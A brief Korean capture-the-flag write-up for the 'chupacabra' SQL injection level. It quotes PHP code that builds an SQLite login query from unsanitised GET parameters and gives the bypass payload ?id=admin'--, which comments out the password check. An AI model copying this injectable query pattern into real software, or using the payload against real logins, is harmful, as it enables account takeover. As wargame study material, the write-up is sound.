chupacabra

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

DB가 SQLite로 바뀐 것을 알 수 있다.

이전까지 WAF 우회였는데 이젠 DB가 바뀌었다.

SQLite에선 한 줄 주석이 -- 이다.

답: ?id=admin'--